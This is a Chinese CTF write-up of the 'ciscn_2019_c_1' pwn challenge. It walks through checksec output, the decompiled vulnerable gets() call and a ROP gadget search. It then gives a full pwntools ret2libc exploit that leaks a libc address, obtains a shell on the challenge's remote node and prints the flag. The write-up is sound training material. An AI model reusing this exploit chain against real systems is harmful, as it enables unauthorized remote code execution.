我要学pwn.day7
2021/7/10 6:07:19
本文主要是介绍我要学pwn.day7,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
ciscn_2019_c_1
潜心修炼,从基础开始
这是一道没有system的ROP
解题流程
1.检查文件
$ file ciscn_2019_c_1 ciscn_2019_c_1: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=06ddf49af2b8c7ed708d3cfd8aec8757bca82544, not stripped
2.检查保护
$ checksec ciscn_2019_c_1 [*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
开了NX和RELRO保护
NX保护为数据段不可执行
Partial RELRO为禁止部分段延迟绑定
3.IDA反编译
int __cdecl main(int argc, const char **argv, const char **envp) { int v4; // [rsp+Ch] [rbp-4h] BYREF init(argc, argv, envp); puts("EEEEEEE hh iii "); puts("EE mm mm mmmm aa aa cccc hh nn nnn eee "); puts("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e "); puts("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee "); puts("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee "); puts("===================================================================="); puts("Welcome to this Encryption machine\n"); begin(); while ( 1 ) { while ( 1 ) { fflush(0LL); v4 = 0; __isoc99_scanf("%d", &v4); getchar(); if ( v4 != 2 ) break; puts("I think you can do it by yourself"); begin(); } if ( v4 == 3 ) { puts("Bye!"); return 0; } if ( v4 != 1 ) break; encrypt(); begin(); } puts("Something Wrong!"); return 0; }
main函数很正常,提供了一个选择列表
观察一下 encrypt();跟进一下
int encrypt() { size_t v0; // rbx char s[48]; // [rsp+0h] [rbp-50h] BYREF __int16 v3; // [rsp+30h] [rbp-20h] memset(s, 0, sizeof(s)); v3 = 0; puts("Input your Plaintext to be encrypted"); gets(s); while ( 1 ) { v0 = (unsigned int)x; if ( v0 >= strlen(s) ) break; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xFu; } else { s[x] ^= 0xEu; } } else { s[x] ^= 0xDu; } ++x; } puts("Ciphertext"); return puts(s); }
发现危险函数gets,但是下面有一堆异或,看着就头疼。。。。
百度了一下,使用’\0’绕过,但是不知道为啥,经过不懈的查找,终于找到了原因,gets都参数后,会将’\0’输出为换行,检测长度就是0,所以 if ( v0 >= strlen(s) )语句为真,直接跳出循环。
4.查找后门函数
通过观察字符串未发现后门函数,只能通过构建ROP链getshell了
5.查找ROP链
$ ROPgadget --binary ciscn_2019_c_1 --only 'pop|ret|jmp' Gadgets information ============================================================ 0x00000000004006db : jmp 0x4006c0 0x000000000040086b : jmp 0x400800 0x0000000000400939 : jmp 0x400979 0x0000000000400a25 : jmp 0x400aa5 0x00000000004009e2 : jmp 0x400ab4 0x0000000000400c16 : jmp 0x400b8a 0x0000000000400bdc : jmp 0x400c16 0x0000000000400c03 : jmp 0x400c1b 0x0000000000400c73 : jmp 0x400cea 0x000000000040109b : jmp qword ptr [rbp] 0x00000000004007e5 : jmp rax 0x0000000000400c7c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c80 : pop r14 ; pop r15 ; ret 0x0000000000400c82 : pop r15 ; ret 0x0000000000400880 : pop rbp ; jmp 0x400800 0x0000000000400c7b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000400c7f : pop rbp ; pop r14 ; pop r15 ; ret 0x00000000004007f0 : pop rbp ; ret 0x0000000000400aec : pop rbx ; pop rbp ; ret 0x0000000000400c83 : pop rdi ; ret 0x0000000000400c81 : pop rsi ; pop r15 ; ret 0x0000000000400c7d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004006b9 : ret 0x00000000004008ca : ret 0x2017 0x0000000000400962 : ret 0x458b 0x00000000004009c5 : ret 0xbf02 Unique gadgets found: 27
发现可利用链条
0x0000000000400c83 : pop rdi ; ret
0x00000000004006b9 : ret
6.构造payload
from LibcSearcher import * from pwn import * context(os="linux", arch="amd64") # context.log_level="debug" local = 0 elf = ELF('./ciscn_2019_c_1') ret_addr = 0x4006b9 pop_rdi = 0x400c83 if local: pro = process('./ciscn_2019_c_1') else: pro = remote('node4.buuoj.cn', 27844) def get_libcbase(): puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] main_addr = elf.sym['main'] payload=b'\0'+b'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr) pro.sendlineafter('choice!','1') pro.sendlineafter('encrypted\n',payload) pro.recvline() pro.recvline() puts_addr= u64(pro.recvuntil(b'\n')[:-1].ljust(8,b'\0')) libc = LibcSearcher('puts',puts_addr) libc_addr = puts_addr - libc.dump('puts') # print('________________',hex(libc_addr)) return libc,libc_addr def get_shell(libc,libc_addr): binsh=libc_addr+libc.dump('str_bin_sh') system=libc_addr+libc.dump('system') pro.sendlineafter('choice!\n','1') payload=b'\0'+b'a'*(0x50-1+8)+p64(ret_addr)+p64(pop_rdi)+p64(binsh)+p64(system) pro.sendlineafter('encrypted\n',payload) pro.interactive() if __name__ == '__main__' : libc ,libc_addr = get_libcbase() get_shell(libc,libc_addr)
7.获得flag
这里有个小插曲,我打本地死活打不通,然后随便试试打远程呢,竟然打通了。。。。
python2和python3执行效果是不一样的,我这里用python3
$ python3 ciscn_2019_c_1Exp.py [*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to node4.buuoj.cn on port 28140: Done [+] There are multiple libc that meet current constraints : 0 - libc6_2.27-3ubuntu1_amd64 1 - libc6_2.3.6-0ubuntu20_i386 2 - libc-2.32-6.fc33.i686 3 - libc6_2.27-0ubuntu3_amd64 4 - libc6_2.27-0ubuntu2_amd64 5 - libc6_2.19-0ubuntu6.5_amd64 6 - libc-2.32-7.fc33.i686 7 - libc-2.32-8.fc33.i686 [+] Choose one : 2 [*] Switching to interactive mode Ciphertext timeout: the monitored command dumped core [*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to node4.buuoj.cn port 28140 ctf@ctf-PC:~/Downloads/pwnexercise/ciscn_2019_c1$ python3 ciscn_2019_c_1Exp.py [*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to node4.buuoj.cn on port 28140: Done [+] There are multiple libc that meet current constraints : 0 - libc6_2.27-3ubuntu1_amd64 1 - libc6_2.3.6-0ubuntu20_i386 2 - libc-2.32-6.fc33.i686 3 - libc6_2.27-0ubuntu3_amd64 4 - libc6_2.27-0ubuntu2_amd64 5 - libc6_2.19-0ubuntu6.5_amd64 6 - libc-2.32-7.fc33.i686 7 - libc-2.32-8.fc33.i686 [+] Choose one : 2 [*] Switching to interactive mode Ciphertext timeout: the monitored command dumped core [*] Got EOF while reading in interactive $ [*] Interrupted [*] Closed connection to node4.buuoj.cn port 28140 ctf@ctf-PC:~/Downloads/pwnexercise/ciscn_2019_c1$ python3 ciscn_2019_c_1Exp.py [*] '/home/ctf/Downloads/pwnexercise/ciscn_2019_c1/ciscn_2019_c_1' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) [+] Opening connection to node4.buuoj.cn on port 28140: Done [+] There are multiple libc that meet current constraints : 0 - libc6_2.27-3ubuntu1_amd64 1 - libc6_2.3.6-0ubuntu20_i386 2 - libc-2.32-6.fc33.i686 3 - libc6_2.27-0ubuntu3_amd64 4 - libc6_2.27-0ubuntu2_amd64 5 - libc6_2.19-0ubuntu6.5_amd64 6 - libc-2.32-7.fc33.i686 7 - libc-2.32-8.fc33.i686 [+] Choose one : 0 [*] Switching to interactive mode Ciphertext $ cat flag flag{c9545f94-8a48-4722-90d5-95ab949e311e} [*] Got EOF while reading in interactive
打完收工
这篇关于我要学pwn.day7的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign服务间调用学习入门
- 2024-12-27OpenFeign学习入门:轻松掌握微服务通信
- 2024-12-27OpenFeign学习入门:轻松掌握微服务间的HTTP请求
- 2024-12-27JDK17新特性学习入门:简洁教程带你轻松上手
- 2024-12-27JMeter传递token学习入门教程
- 2024-12-27JMeter压测学习入门指南
- 2024-12-27JWT单点登录学习入门指南
- 2024-12-27JWT单点登录原理学习入门
- 2024-12-27JWT单点登录原理学习入门